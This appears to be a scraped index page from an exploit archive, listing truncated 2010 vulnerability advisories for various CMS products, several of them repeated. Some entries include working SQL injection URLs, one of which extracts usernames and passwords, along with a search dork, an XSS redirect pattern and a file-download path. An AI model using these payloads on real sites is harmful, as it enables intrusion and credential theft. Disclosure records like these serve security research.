XSS vulnerability in EasyPublish CMS

Vulnerability ID: HTB22356 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityineasypublishcms.html Product: EasyPublish CMS Vendor: Escio AS Vulnerable Version: Current at 23.04.2010 and Probably Prior Versions Vendor Notification: 23 April 2010 Vulnerability Type: XSS Cross Site Scripti...

Pargoon CMS all version DoS Vulnerability

Exploit for multiple platform in category dos / poc ========================================= Pargoon CMS all version DoS Vulnerability ========================================= Application Info: Name: Pargoon Vendor: http://www.vestasoft.ir Vulnerability Info: Type: DOS Risk: Medium 2010-01-17 -...

Green Apple CMS SQL Injection Vulnerability

Exploit for php platform in category web applications =========================================== Green Apple CMS SQL Injection Vulnerability =========================================== Application Info: Name: Green Apple CMS Vendor: http://www.greenapplecms.com Vulnerability Info: Type: Multiple...

Jaws 0.8.12 Cross Site Scripting

Vulnerability ID: HTB22357 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityinjaws.html Product: Jaws Vendor: Jaws Project Vulnerable Version: 0.8.12 and Probably Prior Versions Vendor Notification: 23 April 2010 Vulnerability Type: XSS Cross Site Scripting Status: Not Fixed, Vendor...

SmartCMS v.2 SQL injection vulnerability

============ Ariko-Security - Advisory 1/5/2010 ============= SQL injection vulnerability in SmartCMS v.2 Vendor's Description of Software: http://www.smartwebsites.com.cy/index.php?pageid=13&lang=en Dork: n/a Application Info: Name: SmartCMS Versions: V.2 Vulnerability Info: Type: SQL injection...

SmartCMS v.2 SQL Injection Vulnerability

No description provided by source. Vendor's Description of Software: http://www.smartwebsites.com.cy/index.php?pageid=13&lang=en Dork: n/a Application Info: Name: SmartCMS Versions: V.2 Vulnerability Info: Type: SQL injection Vulnerability Risk: medium Fix: N/A Time Table: 22/04/2010 - Vendor...

XSS in eliteCMS

Vulnerability ID: HTB22354 Reference: http://www.htbridge.ch/advisory/xssinelitecms.html Product: eliteCMS Vendor: Elite Graphix Vulnerable Version: 1.01 and Probably Prior Versions Vendor Notification: 18 April 2010 Vulnerability Type: XSS Cross Site Scripting Status: Not Fixed, Vendor Alerted,...

SmartCMS 2 - SQL Injection

============ Ariko-Security - Advisory 1/5/2010 ============= SQL injection vulnerability in SmartCMS v.2 Vendor's Description of Software: http://www.smartwebsites.com.cy/index.php?pageid=13=en Dork: n/a Application Info: Name: SmartCMS Versions: V.2 Vulnerability Info: Type: SQL injection...

Microsoft SharePoint Server 2007 XSS Vulnerability

Exploit for windows platform in category web applications ================================================== Microsoft SharePoint Server 2007 XSS Vulnerability ================================================== Product: Microsoft SharePoint Server 2007 Vendor: Microsoft Corporation Vulnerable...

Vbulletin - Two-Step External Link XSS

Vendor: vBulletin Affected versions: 3.7.x - 3.8.x Mod: Two-Step External Link URL: http://www.vbulletin.org/forum/showthread.php?t=217708 Vulnerability type: XSS Risk rating: Medium Exploit http://FORUM/externalredirect.php?url=XSS Bug File: externalredirect.php line 35 Code: $url =...

e107 version 0.7.19 XSRF vulnerability

Exploit for php platform in category web applications ====================================== e107 version 0.7.19 XSRF vulnerability ====================================== Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April...

e107 CMS 0.7.19 - Cross-Site Request Forgery

Vulnerability ID: HTB22344 Reference: http://www.htbridge.ch/advisory/xsrfcsrfine107.html Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

e107 0.7.19 Cross Site Request Forgery

Vulnerability ID: HTB22344 Reference: http://www.htbridge.ch/advisory/xsrfcsrfine107.html Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

Vana CMS Remote File Download

Securitylab.ir Application Info: Name: Vana CMS Vendor: http://www.vanasoft.com Vulnerability Info: Type: Remote File Download Risk: Medium 2009-10-23 - Found Vulnerability 2010-04-09 - Vendor notified 2010-04-11 - Public disclosure Vulnerability: http://site.com/download.php?filename=File.php...

Espinas CMS SQL Injection

Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concatusername,0x3a,0x3a,password,3,4,5+from+sinabedusers Discoverd By: Pouya...

Espinas CMS SQL Injection Vulnerability

Exploit for asp platform in category web applications ======================================= Espinas CMS SQL Injection Vulnerability ======================================= Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork:...

Espinas CMS - SQL Injection

Espinas CMS - SQL Injection Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability:...

Espinas CMS - SQL Injection

Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concatusername,0x3a,0x3a,password,3,4,5+from+sinabedusers...

Joomla Component com_xmap Sql Injection Vulnerability

Securitylab.ir Application Info: Name: Joomla Component comxmap Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comxmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version,5,6,7,8-- Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab....

Joomla Component com_weblinks Sql Injection Vulnerability

Securitylab.ir Application Info: Name: Joomla Component comweblinks Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comweblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab.ir...